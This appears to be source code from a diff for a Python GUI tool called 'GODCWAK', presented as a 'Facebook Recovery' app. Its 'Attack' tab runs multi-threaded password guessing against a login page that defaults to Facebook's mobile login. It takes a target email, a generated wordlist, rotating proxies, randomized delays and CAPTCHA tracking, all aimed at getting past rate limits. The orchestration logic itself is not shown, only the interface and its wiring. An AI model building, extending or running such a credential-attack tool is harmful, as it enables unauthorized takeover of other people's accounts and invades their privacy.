from src.gui.proxy_manager_tab import ProxyManagerTab
|
||||||
|
from src.gui.attack_tab import AttackTab
|
||||||
|
from src.gui.logs_tab import LogsTab
|
||||||
|
from src.gui.setup_tab import SetupTab
|
||||||
|
from src.proxy.pool import ProxyPool
|
||||||
|
from src.utils.logger import AttemptLogger
|
||||||
|
from config import ASSETS_DIR, PASSWORDS_FILE
|
||||||
|
from src.utils.file_io import count_lines
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class FacebookRecoveryApp(ctk.CTk):
|
||||||
|
"""Main application window."""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__()
|
||||||
|
|
||||||
|
CyberpunkTheme.apply()
|
||||||
|
|
||||||
|
# Shared state
|
||||||
|
self.proxy_pool = ProxyPool()
|
||||||
|
self.attempt_logger = AttemptLogger()
|
||||||
|
|
||||||
|
# Window
|
||||||
|
self.title("GODCWAK v1.0")
|
||||||
|
self.geometry("1300x820")
|
||||||
|
self.minsize(1080, 720)
|
||||||
|
self.configure(fg_color=CyberpunkTheme.BG_DARK)
|
||||||
|
|
||||||
|
try:
|
||||||
|
icon_path = ASSETS_DIR / "icon.ico"
|
||||||
|
if icon_path.exists():
|
||||||
|
from PIL import Image, ImageTk
|
||||||
|
icon = Image.open(str(icon_path))
|
||||||
|
self._icon_photo = ImageTk.PhotoImage(icon)
|
||||||
|
self.iconphoto(True, self._icon_photo)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
self._build_header()
|
||||||
|
self._build_tabs()
|
||||||
|
self._build_status_bar() # must be last (packs to bottom)
|
||||||
|
|
||||||
|
self._tick_clock()
|
||||||
|
self._periodic_update()
|
||||||
|
|
||||||
|
# ── Header ──────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _build_header(self):
|
||||||
|
outer = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK)
|
||||||
|
outer.pack(fill="x")
|
||||||
|
|
||||||
|
ctk.CTkFrame(outer, fg_color=CyberpunkTheme.PRIMARY, height=2).pack(fill="x")
|
||||||
|
|
||||||
|
inner = ctk.CTkFrame(outer, fg_color="transparent")
|
||||||
|
inner.pack(fill="x", padx=20, pady=(8, 8))
|
||||||
|
|
||||||
|
logo = ctk.CTkLabel(
|
||||||
|
inner,
|
||||||
|
text=(
|
||||||
|
"▓░ ██████╗ ██████╗ ██████╗ ██████╗██╗ ██╗ █████╗ ██╗ ██╗\n"
|
||||||
|
"▓░ ██╔════╝ ██╔═══██╗██╔══██╗██╔════╝██║ ██║██╔══██╗██║ ██╔╝\n"
|
||||||
|
"▓░ ██║ ███╗██║ ██║██║ ██║██║ ██║ █╗ ██║███████║█████╔╝ \n"
|
||||||
|
"▓░ ██║ ██║██║ ██║██║ ██║██║ ██║███╗██║██╔══██║██╔═██╗ \n"
|
||||||
|
"▓░ ╚██████╔╝╚██████╔╝██████╔╝╚██████╗╚███╔███╔╝██║ ██║██║ ██╗\n"
|
||||||
|
"▓░ ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚═╝ ╚═╝"
|
||||||
|
),
|
||||||
|
font=("Consolas", 9),
|
||||||
|
text_color=CyberpunkTheme.PRIMARY,
|
||||||
|
justify="left",
|
||||||
|
)
|
||||||
|
logo.pack(side="left")
|
||||||
|
|
||||||
|
badge_col = ctk.CTkFrame(inner, fg_color="transparent")
|
||||||
|
badge_col.pack(side="right", padx=(0, 5))
|
||||||
|
|
||||||
|
ctk.CTkLabel(badge_col, text="GODCWAK",
|
||||||
|
font=("Consolas", 18, "bold"),
|
||||||
|
text_color=CyberpunkTheme.PRIMARY).pack(anchor="e")
|
||||||
|
ctk.CTkLabel(badge_col, text="v1.0 // GPU-ACCELERATED",
|
||||||
|
font=("Consolas", 10),
|
||||||
|
text_color=CyberpunkTheme.TERTIARY).pack(anchor="e")
|
||||||
|
ctk.CTkLabel(badge_col, text="PROXY ROTATION // OLLAMA AI",
|
||||||
|
font=("Consolas", 10),
|
||||||
|
text_color=CyberpunkTheme.TEXT_DIM).pack(anchor="e")
|
||||||
|
|
||||||
|
ctk.CTkFrame(outer, fg_color=CyberpunkTheme.BORDER, height=1).pack(fill="x")
|
||||||
|
|
||||||
|
# ── Tabs ─────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _build_tabs(self):
|
||||||
|
self.tab_view = ctk.CTkTabview(
|
||||||
|
self,
|
||||||
|
fg_color=CyberpunkTheme.BG_MEDIUM,
|
||||||
|
border_width=1,
|
||||||
|
border_color=CyberpunkTheme.BORDER,
|
||||||
|
corner_radius=6,
|
||||||
|
)
|
||||||
|
self.tab_view.pack(fill="both", expand=True, padx=15, pady=(8, 0))
|
||||||
|
|
||||||
|
tab_names = ["Password Builder", "Proxy Manager", "Attack", "Logs", "Setup"]
|
||||||
|
for name in tab_names:
|
||||||
|
self.tab_view.add(name)
|
||||||
|
|
||||||
|
sc = self.set_status # shared status callback
|
||||||
|
|
||||||
|
self.password_builder_tab = PasswordBuilderTab(
|
||||||
|
self.tab_view.tab("Password Builder"),
|
||||||
|
status_callback=sc)
|
||||||
|
self.password_builder_tab.pack(fill="both", expand=True)
|
||||||
|
|
||||||
|
self.proxy_manager_tab = ProxyManagerTab(
|
||||||
|
self.tab_view.tab("Proxy Manager"),
|
||||||
|
self.proxy_pool,
|
||||||
|
status_callback=sc)
|
||||||
|
self.proxy_manager_tab.pack(fill="both", expand=True)
|
||||||
|
|
||||||
|
self.attack_tab = AttackTab(
|
||||||
|
self.tab_view.tab("Attack"),
|
||||||
|
self.proxy_pool,
|
||||||
|
status_callback=sc,
|
||||||
|
attempt_logger=self.attempt_logger)
|
||||||
|
self.attack_tab.pack(fill="both", expand=True)
|
||||||
|
|
||||||
|
self.logs_tab = LogsTab(
|
||||||
|
self.tab_view.tab("Logs"),
|
||||||
|
self.attempt_logger)
|
||||||
|
self.logs_tab.pack(fill="both", expand=True)
|
||||||
|
|
||||||
|
self.setup_tab = SetupTab(self.tab_view.tab("Setup"))
|
||||||
|
self.setup_tab.pack(fill="both", expand=True)
|
||||||
|
|
||||||
|
# ── Status bar ───────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _build_status_bar(self):
|
||||||
|
"""
|
||||||
|
Rich multi-field status bar:
|
||||||
|
● DOT | STATUS MSG | WORDLIST: N | PROXIES: N | CLOCK
|
||||||
|
"""
|
||||||
|
bar = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, height=32)
|
||||||
|
bar.pack(side="bottom", fill="x")
|
||||||
|
bar.pack_propagate(False)
|
||||||
|
ctk.CTkFrame(bar, fg_color=CyberpunkTheme.BORDER, height=1).pack(fill="x", side="top")
|
||||||
|
|
||||||
|
# Left: blinking dot + status message
|
||||||
|
left = ctk.CTkFrame(bar, fg_color="transparent")
|
||||||
|
left.pack(side="left", fill="y", padx=(6, 0))
|
||||||
|
|
||||||
|
self._status_dot = ctk.CTkLabel(
|
||||||
|
left, text="●", font=("Consolas", 11),
|
||||||
|
text_color=CyberpunkTheme.PRIMARY)
|
||||||
|
self._status_dot.pack(side="left", padx=(0, 4))
|
||||||
|
|
||||||
|
self.status_label = ctk.CTkLabel(
|
||||||
|
left, text="GODCWAK READY",
|
||||||
|
font=("Consolas", 10),
|
||||||
|
text_color=CyberpunkTheme.TEXT_SECONDARY)
|
||||||
|
self.status_label.pack(side="left")
|
||||||
|
|
||||||
|
# Right: wordlist count | proxy count | separator | clock
|
||||||
|
right = ctk.CTkFrame(bar, fg_color="transparent")
|
||||||
|
right.pack(side="right", fill="y", padx=(0, 10))
|
||||||
|
|
||||||
|
self.clock_label = ctk.CTkLabel(
|
||||||
|
right, text="", font=("Consolas", 10),
|
||||||
|
text_color=CyberpunkTheme.TEXT_DIM)
|
||||||
|
self.clock_label.pack(side="right", padx=(10, 0))
|
||||||
|
|
||||||
|
ctk.CTkFrame(right, fg_color=CyberpunkTheme.BORDER,
|
||||||
|
width=1, height=16).pack(side="right", padx=8)
|
||||||
|
|
||||||
|
self.sb_proxies = ctk.CTkLabel(
|
||||||
|
right, text="PROXIES: 0",
|
||||||
|
font=("Consolas", 10), text_color=CyberpunkTheme.TEXT_DIM)
|
||||||
|
self.sb_proxies.pack(side="right", padx=(4, 0))
|
||||||
|
|
||||||
|
ctk.CTkFrame(right, fg_color=CyberpunkTheme.BORDER,
|
||||||
|
width=1, height=16).pack(side="right", padx=8)
|
||||||
|
|
||||||
|
self.sb_wordlist = ctk.CTkLabel(
|
||||||
|
right, text="WORDLIST: 0",
|
||||||
|
font=("Consolas", 10), text_color=CyberpunkTheme.TEXT_DIM)
|
||||||
|
self.sb_wordlist.pack(side="right", padx=(4, 0))
|
||||||
|
|
||||||
|
self._blink_dot()
|
||||||
|
|
||||||
|
def _blink_dot(self):
|
||||||
|
try:
|
||||||
|
cur = self._status_dot.cget("text_color")
|
||||||
|
nxt = (CyberpunkTheme.TEXT_DIM
|
||||||
|
if cur == CyberpunkTheme.PRIMARY
|
||||||
|
else CyberpunkTheme.PRIMARY)
|
||||||
|
self._status_dot.configure(text_color=nxt)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
self.after(900, self._blink_dot)
|
||||||
|
|
||||||
|
def _tick_clock(self):
|
||||||
|
try:
|
||||||
|
self.clock_label.configure(
|
||||||
|
text=datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
self.after(1000, self._tick_clock)
|
||||||
|
|
||||||
|
def set_status(self, message: str):
|
||||||
|
"""Update the main status bar message (callable from any tab)."""
|
||||||
|
try:
|
||||||
|
self.status_label.configure(text=message[:120])
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# ── Periodic updates ─────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _periodic_update(self):
|
||||||
|
try:
|
||||||
|
wl_count = count_lines(PASSWORDS_FILE)
|
||||||
|
self.sb_wordlist.configure(
|
||||||
|
text=f"WORDLIST: {wl_count:,}",
|
||||||
|
text_color=(CyberpunkTheme.SUCCESS
|
||||||
|
if wl_count > 0
|
||||||
|
else CyberpunkTheme.TEXT_DIM))
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
try:
|
||||||
|
px_count = self.proxy_pool.available_count
|
||||||
|
self.sb_proxies.configure(
|
||||||
|
text=f"PROXIES: {px_count}",
|
||||||
|
text_color=(CyberpunkTheme.PRIMARY
|
||||||
|
if px_count > 0
|
||||||
|
else CyberpunkTheme.TEXT_DIM))
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.proxy_manager_tab._update_stats()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
self.after(3000, self._periodic_update)
|
||||||
490
src/gui/attack_tab.py
Normal file
490
src/gui/attack_tab.py
Normal file
@@ -0,0 +1,490 @@
|
|||||||
|
"""
|
||||||
|
Attack Terminal Tab — multi-proxy credential attack against any login URL.
|
||||||
|
Includes live stats, speed controls, custom target URL, and CAPTCHA status.
|
||||||
|
"""
|
||||||
|
import logging
|
||||||
|
import threading
|
||||||
|
from datetime import datetime
|
||||||
|
from typing import Callable, Optional
|
||||||
|
|
||||||
|
import customtkinter as ctk
|
||||||
|
|
||||||
|
from src.gui.theme import CyberpunkTheme
|
||||||
|
from src.attack.orchestrator import AttackOrchestrator, AttackState, AttackStats
|
||||||
|
from src.attack.login_client import SiteConfig
|
||||||
|
from src.proxy.pool import ProxyPool
|
||||||
|
from src.utils.file_io import load_passwords, count_lines
|
||||||
|
from config import (PASSWORDS_FILE, MAX_CONCURRENT_WORKERS, DEFAULT_DELAY_MIN,
|
||||||
|
DEFAULT_DELAY_MAX, PROXY_ROTATION_EVERY, REQUEST_TIMEOUT)
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
_FB_LOGIN_URL = "https://m.facebook.com/login.php"
|
||||||
|
|
||||||
|
|
||||||
|
class AttackTab(ctk.CTkFrame):
|
||||||
|
|
||||||
|
def __init__(self, parent, proxy_pool: ProxyPool,
|
||||||
|
status_callback: Optional[Callable] = None,
|
||||||
|
attempt_logger=None):
|
||||||
|
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
|
||||||
|
self.proxy_pool = proxy_pool
|
||||||
|
self.status_callback = status_callback
|
||||||
|
self.orchestrator = AttackOrchestrator(
|
||||||
|
proxy_pool, logger_instance=attempt_logger)
|
||||||
|
self._build_ui()
|
||||||
|
|
||||||
|
self.orchestrator.on_stats_update = lambda s: self.after(0, lambda: self._on_stats_update(s))
|
||||||
|
self.orchestrator.on_log_entry = lambda e: self.after(0, lambda: self._on_log_entry(e))
|
||||||
|
self.orchestrator.on_success = lambda p, px, r: self.after(0, lambda: self._on_success(p, px, r))
|
||||||
|
self.orchestrator.on_state_change = lambda st: self.after(0, lambda: self._on_state_change(st))
|
||||||
|
self.orchestrator.on_captcha = lambda px: self.after(0, lambda: self._on_captcha_hit(px))
|
||||||
|
|
||||||
|
# ── Build ──────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _build_ui(self):
|
||||||
|
ctk.CTkLabel(self, text="[ ATTACK TERMINAL ]",
|
||||||
|
font=("Consolas", 18, "bold"),
|
||||||
|
text_color=CyberpunkTheme.PRIMARY).pack(pady=(15, 2))
|
||||||
|
ctk.CTkLabel(self,
|
||||||
|
text="Multi-threaded · Proxy rotation · GPU-optimised wordlist · Any site",
|
||||||
|
font=("Consolas", 10),
|
||||||
|
text_color=CyberpunkTheme.TEXT_SECONDARY).pack(pady=(0, 10))
|
||||||
|
|
||||||
|
self._build_target_bar()
|
||||||
|
self._build_speed_panel()
|
||||||
|
self._build_stats_panel()
|
||||||
|
self._build_progress_bar()
|
||||||
|
self._build_control_buttons()
|
||||||
|
self._build_live_log()
|
||||||
|
self._update_periodic()
|
||||||
|
|
||||||
|
# ── Target bar (URL + username + counters) ────────────────────────────────
|
||||||
|
|
||||||
|
def _build_target_bar(self):
|
||||||
|
bar = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
|
||||||
|
border_width=1, border_color=CyberpunkTheme.BORDER)
|
||||||
|
bar.pack(fill="x", padx=15, pady=(0, 8))
|
||||||
|
|
||||||
|
# Row 1 — target URL
|
||||||
|
row1 = ctk.CTkFrame(bar, fg_color="transparent")
|
||||||
|
row1.pack(fill="x", padx=12, pady=(10, 4))
|
||||||
|
|
||||||
|
ctk.CTkLabel(row1, text="Target URL:",
|
||||||
|
font=("Consolas", 11),
|
||||||
|
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
width=100, anchor="w").pack(side="left")
|
||||||
|
|
||||||
|
self.url_entry = ctk.CTkEntry(
|
||||||
|
row1, placeholder_text=_FB_LOGIN_URL,
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||||||
|
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
|
||||||
|
width=480)
|
||||||
|
self.url_entry.insert(0, _FB_LOGIN_URL)
|
||||||
|
self.url_entry.pack(side="left", padx=(0, 12))
|
||||||
|
CyberpunkTheme.apply_focus_glow(self.url_entry)
|
||||||
|
|
||||||
|
ctk.CTkLabel(row1, text="Form fields user:",
|
||||||
|
font=("Consolas", 10),
|
||||||
|
text_color=CyberpunkTheme.TEXT_DIM).pack(side="left", padx=(0, 4))
|
||||||
|
self.field_user_entry = ctk.CTkEntry(
|
||||||
|
row1, width=80, placeholder_text="email",
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||||||
|
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 10))
|
||||||
|
self.field_user_entry.insert(0, "email")
|
||||||
|
self.field_user_entry.pack(side="left", padx=(0, 8))
|
||||||
|
|
||||||
|
ctk.CTkLabel(row1, text="pass:",
|
||||||
|
font=("Consolas", 10),
|
||||||
|
text_color=CyberpunkTheme.TEXT_DIM).pack(side="left", padx=(0, 4))
|
||||||
|
self.field_pass_entry = ctk.CTkEntry(
|
||||||
|
row1, width=80, placeholder_text="pass",
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||||||
|
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 10))
|
||||||
|
self.field_pass_entry.insert(0, "pass")
|
||||||
|
self.field_pass_entry.pack(side="left")
|
||||||
|
|
||||||
|
# Row 2 — username/email + counters
|
||||||
|
row2 = ctk.CTkFrame(bar, fg_color="transparent")
|
||||||
|
row2.pack(fill="x", padx=12, pady=(0, 10))
|
||||||
|
|
||||||
|
ctk.CTkLabel(row2, text="Username / Email:",
|
||||||
|
font=("Consolas", 11),
|
||||||
|
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
width=140, anchor="w").pack(side="left")
|
||||||
|
|
||||||
|
self.email_entry = ctk.CTkEntry(
|
||||||
|
row2, placeholder_text="target@example.com",
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||||||
|
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 12), width=310)
|
||||||
|
self.email_entry.pack(side="left", padx=(0, 20))
|
||||||
|
CyberpunkTheme.apply_focus_glow(self.email_entry)
|
||||||
|
|
||||||
|
self.pwd_count_label = ctk.CTkLabel(
|
||||||
|
row2, text="Wordlist: 0",
|
||||||
|
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_DIM)
|
||||||
|
self.pwd_count_label.pack(side="left", padx=(0, 18))
|
||||||
|
|
||||||
|
self.proxy_count_label = ctk.CTkLabel(
|
||||||
|
row2, text="Proxies: 0",
|
||||||
|
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_DIM)
|
||||||
|
self.proxy_count_label.pack(side="left", padx=(0, 18))
|
||||||
|
|
||||||
|
self.captcha_label = ctk.CTkLabel(
|
||||||
|
row2, text="CAPTCHAs: 0",
|
||||||
|
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_DIM)
|
||||||
|
self.captcha_label.pack(side="left")
|
||||||
|
|
||||||
|
# ── Speed panel ───────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _build_speed_panel(self):
|
||||||
|
panel = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
|
||||||
|
border_width=1, border_color=CyberpunkTheme.BORDER)
|
||||||
|
panel.pack(fill="x", padx=15, pady=(0, 8))
|
||||||
|
|
||||||
|
hdr = ctk.CTkFrame(panel, fg_color="transparent")
|
||||||
|
hdr.pack(fill="x", padx=12, pady=(8, 4))
|
||||||
|
ctk.CTkLabel(hdr, text="⚡ SPEED & CONCURRENCY",
|
||||||
|
font=("Consolas", 11, "bold"),
|
||||||
|
text_color=CyberpunkTheme.TERTIARY).pack(side="left")
|
||||||
|
|
||||||
|
inner = ctk.CTkFrame(panel, fg_color="transparent")
|
||||||
|
inner.pack(fill="x", padx=12, pady=(0, 10))
|
||||||
|
|
||||||
|
def _slider_group(parent, label, var, from_, to, steps, default, unit=""):
|
||||||
|
ctk.CTkLabel(parent, text=label, font=("Consolas", 11),
|
||||||
|
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
width=160, anchor="w").pack(side="left")
|
||||||
|
sl = ctk.CTkSlider(parent, from_=from_, to=to, number_of_steps=steps,
|
||||||
|
variable=var, width=170,
|
||||||
|
fg_color=CyberpunkTheme.BG_MEDIUM,
|
||||||
|
progress_color=CyberpunkTheme.PRIMARY,
|
||||||
|
button_color=CyberpunkTheme.PRIMARY,
|
||||||
|
button_hover_color=CyberpunkTheme.SECONDARY)
|
||||||
|
sl.pack(side="left", padx=(0, 6))
|
||||||
|
val_lbl = ctk.CTkLabel(parent, font=("Consolas", 12, "bold"),
|
||||||
|
text_color=CyberpunkTheme.PRIMARY, width=48)
|
||||||
|
val_lbl.configure(text=f"{int(default)}{unit}")
|
||||||
|
val_lbl.pack(side="left", padx=(0, 24))
|
||||||
|
sl.configure(command=lambda v, l=val_lbl, u=unit:
|
||||||
|
l.configure(text=f"{int(float(v))}{u}"))
|
||||||
|
return sl
|
||||||
|
|
||||||
|
row1 = ctk.CTkFrame(inner, fg_color="transparent")
|
||||||
|
row1.pack(fill="x", pady=(0, 6))
|
||||||
|
|
||||||
|
self.workers_var = ctk.IntVar(value=MAX_CONCURRENT_WORKERS)
|
||||||
|
_slider_group(row1, "Workers (threads):", self.workers_var,
|
||||||
|
1, 30, 29, MAX_CONCURRENT_WORKERS, "×")
|
||||||
|
|
||||||
|
self.rotation_var = ctk.IntVar(value=PROXY_ROTATION_EVERY)
|
||||||
|
_slider_group(row1, "Proxy rotation (req):", self.rotation_var,
|
||||||
|
1, 20, 19, PROXY_ROTATION_EVERY, "req")
|
||||||
|
|
||||||
|
row2 = ctk.CTkFrame(inner, fg_color="transparent")
|
||||||
|
row2.pack(fill="x")
|
||||||
|
|
||||||
|
self.delay_min_var = ctk.DoubleVar(value=DEFAULT_DELAY_MIN)
|
||||||
|
_slider_group(row2, "Delay min (s):", self.delay_min_var,
|
||||||
|
0.0, 10.0, 100, DEFAULT_DELAY_MIN, "s")
|
||||||
|
|
||||||
|
self.delay_max_var = ctk.DoubleVar(value=DEFAULT_DELAY_MAX)
|
||||||
|
_slider_group(row2, "Delay max (s):", self.delay_max_var,
|
||||||
|
0.0, 10.0, 100, DEFAULT_DELAY_MAX, "s")
|
||||||
|
|
||||||
|
ctk.CTkLabel(row2, text="Timeout (s):", font=("Consolas", 11),
|
||||||
|
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
width=90, anchor="w").pack(side="left")
|
||||||
|
self.timeout_entry = ctk.CTkEntry(
|
||||||
|
row2, width=64,
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||||||
|
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 12))
|
||||||
|
self.timeout_entry.insert(0, str(REQUEST_TIMEOUT))
|
||||||
|
self.timeout_entry.pack(side="left")
|
||||||
|
CyberpunkTheme.apply_focus_glow(self.timeout_entry)
|
||||||
|
|
||||||
|
# ── Stats panel ───────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _build_stats_panel(self):
|
||||||
|
stats = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
|
||||||
|
border_width=1, border_color=CyberpunkTheme.BORDER)
|
||||||
|
stats.pack(fill="x", padx=15, pady=(0, 8))
|
||||||
|
inner = ctk.CTkFrame(stats, fg_color="transparent")
|
||||||
|
inner.pack(fill="x", padx=12, pady=8)
|
||||||
|
|
||||||
|
def _stat(text, color):
|
||||||
|
l = ctk.CTkLabel(inner, text=text, font=("Consolas", 13, "bold"),
|
||||||
|
text_color=color)
|
||||||
|
l.pack(side="left", padx=(0, 22))
|
||||||
|
return l
|
||||||
|
|
||||||
|
self.attempts_label = _stat("Attempts: 0", CyberpunkTheme.TEXT_PRIMARY)
|
||||||
|
self.success_label = _stat("Found: 0", CyberpunkTheme.SUCCESS)
|
||||||
|
self.fail_label = _stat("Failed: 0", CyberpunkTheme.ERROR)
|
||||||
|
self.speed_label = _stat("Speed: 0 r/s", CyberpunkTheme.PRIMARY)
|
||||||
|
self.workers_label = _stat("Workers: 0", CyberpunkTheme.TERTIARY)
|
||||||
|
self.elapsed_label = _stat("00:00:00", CyberpunkTheme.TEXT_DIM)
|
||||||
|
|
||||||
|
row2 = ctk.CTkFrame(stats, fg_color="transparent")
|
||||||
|
row2.pack(fill="x", padx=12, pady=(0, 6))
|
||||||
|
ctk.CTkLabel(row2, text="Trying:", font=("Consolas", 10),
|
||||||
|
text_color=CyberpunkTheme.TEXT_SECONDARY).pack(side="left", padx=(0, 5))
|
||||||
|
self.current_pwd_label = ctk.CTkLabel(
|
||||||
|
row2, text="—", font=("Consolas", 10),
|
||||||
|
text_color=CyberpunkTheme.PRIMARY)
|
||||||
|
self.current_pwd_label.pack(side="left", padx=(0, 14))
|
||||||
|
ctk.CTkLabel(row2, text="via", font=("Consolas", 10),
|
||||||
|
text_color=CyberpunkTheme.TEXT_DIM).pack(side="left", padx=(0, 5))
|
||||||
|
self.current_proxy_label = ctk.CTkLabel(
|
||||||
|
row2, text="—", font=("Consolas", 10),
|
||||||
|
text_color=CyberpunkTheme.TEXT_DIM)
|
||||||
|
self.current_proxy_label.pack(side="left")
|
||||||
|
|
||||||
|
def _build_progress_bar(self):
|
||||||
|
pf = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
|
||||||
|
border_width=1, border_color=CyberpunkTheme.BORDER)
|
||||||
|
pf.pack(fill="x", padx=15, pady=(0, 8))
|
||||||
|
inner = ctk.CTkFrame(pf, fg_color="transparent")
|
||||||
|
inner.pack(fill="x", padx=12, pady=8)
|
||||||
|
self.progress_bar = ctk.CTkProgressBar(
|
||||||
|
inner, fg_color=CyberpunkTheme.BG_DARK,
|
||||||
|
progress_color=CyberpunkTheme.PRIMARY,
|
||||||
|
height=18, corner_radius=4)
|
||||||
|
self.progress_bar.pack(fill="x", expand=True)
|
||||||
|
self.progress_bar.set(0)
|
||||||
|
self.progress_text = ctk.CTkLabel(
|
||||||
|
inner, text="0.0% (0 / 0)",
|
||||||
|
font=("Consolas", 10, "bold"),
|
||||||
|
text_color=CyberpunkTheme.PRIMARY)
|
||||||
|
self.progress_text.pack(pady=(3, 0))
|
||||||
|
|
||||||
|
def _build_control_buttons(self):
|
||||||
|
bf = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
|
||||||
|
border_width=1, border_color=CyberpunkTheme.BORDER)
|
||||||
|
bf.pack(fill="x", padx=15, pady=(0, 8))
|
||||||
|
inner = ctk.CTkFrame(bf, fg_color="transparent")
|
||||||
|
inner.pack(padx=12, pady=10)
|
||||||
|
|
||||||
|
self.start_btn = CyberpunkTheme.create_neon_button(
|
||||||
|
inner, text="▶ START", command=self._on_start,
|
||||||
|
color=CyberpunkTheme.SUCCESS,
|
||||||
|
width=160, height=40, font=("Consolas", 14, "bold"))
|
||||||
|
self.start_btn.pack(side="left", padx=(0, 12))
|
||||||
|
|
||||||
|
self.pause_btn = CyberpunkTheme.create_neon_button(
|
||||||
|
inner, text="⏸ PAUSE", command=self._on_pause,
|
||||||
|
color=CyberpunkTheme.WARNING,
|
||||||
|
width=120, height=40, font=("Consolas", 14, "bold"))
|
||||||
|
self.pause_btn.pack(side="left", padx=(0, 12))
|
||||||
|
self.pause_btn.configure(state="disabled")
|
||||||
|
|
||||||
|
self.stop_btn = CyberpunkTheme.create_neon_button(
|
||||||
|
inner, text="⏹ STOP", command=self._on_stop,
|
||||||
|
color=CyberpunkTheme.ERROR,
|
||||||
|
width=120, height=40, font=("Consolas", 14, "bold"))
|
||||||
|
self.stop_btn.pack(side="left")
|
||||||
|
self.stop_btn.configure(state="disabled")
|
||||||
|
|
||||||
|
self.state_label = ctk.CTkLabel(
|
||||||
|
inner, text="◈ IDLE",
|
||||||
|
font=("Consolas", 15, "bold"),
|
||||||
|
text_color=CyberpunkTheme.TEXT_DIM, width=160)
|
||||||
|
self.state_label.pack(side="right", padx=(22, 0))
|
||||||
|
|
||||||
|
def _build_live_log(self):
|
||||||
|
ctk.CTkLabel(self, text="> LIVE LOG",
|
||||||
|
font=("Consolas", 12, "bold"),
|
||||||
|
text_color=CyberpunkTheme.PRIMARY).pack(anchor="w", padx=15, pady=(0, 4))
|
||||||
|
self.log_text = ctk.CTkTextbox(
|
||||||
|
self, fg_color=CyberpunkTheme.BG_DARK,
|
||||||
|
border_color=CyberpunkTheme.BORDER,
|
||||||
|
text_color=CyberpunkTheme.TEXT_PRIMARY,
|
||||||
|
font=("Consolas", 11), border_width=1)
|
||||||
|
self.log_text.pack(fill="both", expand=True, padx=15, pady=(0, 12))
|
||||||
|
self.log_text.insert("end",
|
||||||
|
"[SYSTEM] Ready.\n"
|
||||||
|
"[SYSTEM] 1. Set Target URL (default: Facebook mobile login)\n"
|
||||||
|
"[SYSTEM] 2. Enter username/email\n"
|
||||||
|
"[SYSTEM] 3. Generate wordlist in Password Builder\n"
|
||||||
|
"[SYSTEM] 4. Fetch & test proxies in Proxy Manager then COMMIT\n"
|
||||||
|
"[SYSTEM] 5. Press START\n")
|
||||||
|
self.log_text.configure(state="disabled")
|
||||||
|
|
||||||
|
# ── Speed → orchestrator ─────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _apply_speed_settings(self):
|
||||||
|
self.orchestrator.max_workers = max(1, int(self.workers_var.get()))
|
||||||
|
self.orchestrator.proxy_rotation_every = max(1, int(self.rotation_var.get()))
|
||||||
|
self.orchestrator.delay_min = float(self.delay_min_var.get())
|
||||||
|
self.orchestrator.delay_max = max(
|
||||||
|
float(self.delay_min_var.get()), float(self.delay_max_var.get()))
|
||||||
|
try:
|
||||||
|
self.orchestrator.request_timeout = int(self.timeout_entry.get() or "20")
|
||||||
|
except ValueError:
|
||||||
|
self.orchestrator.request_timeout = 20
|
||||||
|
self.orchestrator.login_client.request_timeout = self.orchestrator.request_timeout
|
||||||
|
|
||||||
|
def _build_site_config(self) -> SiteConfig:
|
||||||
|
url = self.url_entry.get().strip() or _FB_LOGIN_URL
|
||||||
|
user_field = self.field_user_entry.get().strip() or "email"
|
||||||
|
pass_field = self.field_pass_entry.get().strip() or "pass"
|
||||||
|
|
||||||
|
if "facebook.com" in url or "fb.com" in url:
|
||||||
|
from urllib.parse import urlparse
